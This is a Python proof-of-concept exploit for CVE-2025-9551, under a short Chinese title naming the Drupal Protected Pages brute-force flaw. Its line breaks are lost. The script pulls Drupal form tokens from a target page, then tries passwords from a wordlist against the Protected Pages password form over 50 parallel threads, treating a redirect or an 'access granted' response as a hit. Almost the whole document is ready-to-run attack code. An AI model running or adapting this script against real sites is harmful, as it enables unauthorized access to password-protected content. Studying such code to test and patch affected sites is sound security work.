CVE-2025-9551 Drupal Protected Pages模块暴力破解漏洞

# CVE-2025-9551 - Drupal Protected Pages Brute Force PoC # Vulnerability: Improper Restriction of Excessive Authentication Attempts # Affected: Drupal Protected Pages < 1.8.0, < 7.x-2.5 import requests import sys import time from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://target-drupal-site.com/node/123" # Protected page URL PROTECTED_PATH = "/protected-page" # Protected Pages form action path WORDLIST_FILE = "passwords.txt" THREADS = 50 TIMEOUT = 10 def attempt_login(session, password): """Attempt authentication with given password against Protected Pages module.""" try: # First, get the protected page to retrieve any CSRF token or form_build_id resp = session.get(TARGET_URL, timeout=TIMEOUT) # Extract form_build_id and form_token from the response (Drupal Form API) form_build_id = extract_form_build_id(resp.text) form_token = extract_form_token(resp.text) # Submit the password authentication form data = { "form_build_id": form_build_id, "form_token": form_token, "form_id": "protected_pages_enter_password", "password": password, "op": "Submit" } auth_resp = session.post( TARGET_URL, data=data, timeout=TIMEOUT, allow_redirects=False ) # Check if authentication was successful (redirect or content change) if auth_resp.status_code == 302 or "access granted" in auth_resp.text.lower(): return password return None except Exception as e: print(f"Error attempting password '{password}': {e}") return None def extract_form_build_id(html): """Extract Drupal form_build_id from HTML response.""" import re match = re.search(r'name="form_build_id"\s+value="([^"]+)"', html) return match.group(1) if match else "" def extract_form_token(html): """Extract Drupal form_token from HTML response.""" import re match = re.search(r'name="form_token"\s+value="([^"]+)"', html) return match.group(1) if match else "" def brute_force(): """Main brute force function exploiting CVE-2025-9551.""" print(f"[*] Starting brute force attack against {TARGET_URL}") print(f"[*] Using {THREADS} concurrent threads") try: with open(WORDLIST_FILE, 'r', encoding='utf-8', errors='ignore') as f: passwords = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"[!] Wordlist file '{WORDLIST_FILE}' not found.") sys.exit(1) print(f"[*] Loaded {len(passwords)} passwords from wordlist") start_time = time.time() found = None with ThreadPoolExecutor(max_workers=THREADS) as executor: futures = {} for pwd in passwords: session = requests.Session() future = executor.submit(attempt_login, session, pwd) futures[future] = pwd for future in futures: result = future.result() if result: found = result print(f"\n[+] PASSWORD FOUND: {result}") break elapsed = time.time() - start_time print(f"\n[*] Attack completed in {elapsed:.2f} seconds") if found: print(f"[+] Successful password: {found}") else: print("[-] No password found in wordlist") if __name__ == "__main__": brute_force()